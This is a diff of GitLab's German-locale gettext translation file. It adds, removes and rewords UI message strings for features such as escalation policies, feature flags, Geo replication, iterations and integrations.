@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr "Nutzungsbericht einschalten"
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr "Erfahre mehr über das Stoppen von Umgebungen"
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr "Klassifizierungslabel"
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr "Feature Flags"
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr "API-URL"
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr "Inaktiv"
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr "Status"
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr "Nach Name filtern"
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr "Für mehr Informationen, gehe zu "
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr "Weitere Informationen zum %{deactivating_usage_ping_link_start}Deaktivieren des Nutzungsberichts%{deactivating_usage_ping_link_end} findest du in der Dokumentation."
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr "Geo-Knoten"
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr "Knoten fällt aus oder ist kaputt."
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr "Knoten ist langsam, überlastet oder er erholt sich nur von einem Ausfall."
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr "Datenreplikationsverzögerung"
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr "Stimmt nicht mit der primären Speicherkonfiguration überein"
-
-msgid "GeoNodes|Full"
-msgstr "Voll"
-
-msgid "GeoNodes|GitLab version"
-msgstr "GitLab-Version"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "Die GitLab Version stimmt nicht mit der Version des primären Knotens überein"
-
-msgid "GeoNodes|Health status"
-msgstr "Systemzustand"
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr "Letzte Event-ID, die vom Cursor verarbeitet wurde"
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr "Letzte Ereignis-ID vom Primärknoten aus gesehen"
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr "Knoten werden geladen"
-
-msgid "GeoNodes|New node"
-msgstr "Neuer Knoten"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr "Knoten-Authentifizierung wurde erfolgreich repariert."
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr "Knoten wurde erfolgreich entfernt."
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr "Replikations-Slot WAL"
-
-msgid "GeoNodes|Replication slots"
-msgstr "Replikations-Slots"
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr "Etwas ist schiefgelaufen während der Änderung des Knotenstatuses"
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr "Beim Laden der Knoten ist etwas schief gelaufen"
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr "Etwas ist schiefgegangen während dem Entfernen des Knotens"
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr "Während der Reparatur des Knotens ist etwas schief gelaufen"
-
-msgid "GeoNodes|Storage config"
-msgstr "Speicherkonfiguration"
-
-msgid "GeoNodes|Sync settings"
-msgstr "Synchronisierungseinstellungen"
-
-msgid "GeoNodes|Unused slots"
-msgstr "Unbenutzte Slots"
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr "Benutzte Slots"
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr "Du hast Geo-Knoten mit einer unsicheren HTTP-Verbindung konfiguriert. Wir empfehlen die Verwendung von HTTPS."
-
-msgid "GeoNodes|primary node"
-msgstr "Primärknoten"
-
-msgid "GeoNodes|secondary nodes"
-msgstr "Sekundärknoten"
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "Fehlgeschlagen"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr "Nach Status filtern"
@@ -14845,9 +14500,6 @@ msgstr "Ausstehende Synchronisation"
msgid "Geo|Pending verification"
msgstr "Ausstehende Überprüfung"
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr "Resynchronisation"
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr "Wiederholversuch"
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr "Synchronisierung fehlgeschlagen - %{error}"
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr "Diagramm"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr "Gruppen-Git-LFS-Status:"
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "Gruppenavatar"
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr "Gruppe: %{group_name}"
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Freigabe eines Projekts innerhalb %{group} mit anderen Gruppen verhindern"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr "Diese Einstellung wird auf %{ancestor_group} angewendet. Um Projekte in
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "Diese Einstellung wird auf %{ancestor_group} angewendet. Du kannst die Einstellung überschreiben oder %{remove_ancestor_share_with_group_lock}."
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr "Diese Einstellung wird auf alle Untergruppen angewendet, es sei denn, sie wird von einem/einer Gruppenbesitzer(in) überschrieben. Gruppen, die bereits Zugriff auf das Projekt haben, behalten diesen, bis sie manuell entfernt werden."
@@ -16126,15 +15793,15 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr "entferne die Freigabe mit Gruppensperre von %{ancestor_group_name}"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "Gruppen"
msgid "Groups (%{count})"
msgstr ""
-msgid "Groups (%{groups})"
-msgstr "Gruppen (%{groups})"
-
msgid "Groups and projects"
msgstr ""
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr "Nutzdaten ausblenden"
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Wert ausblenden"
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr "Wenn diese Option aktiviert ist, wird der Zugriff auf Projekte mit einem
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr "Importiere Projekte von Bitbucket"
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "Instanz"
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr "Job wurde gelöscht"
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "Jobs"
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr "Mehr Informationen"
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr "Prometheus-Monitoring mit GitLab verknüpfen."
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
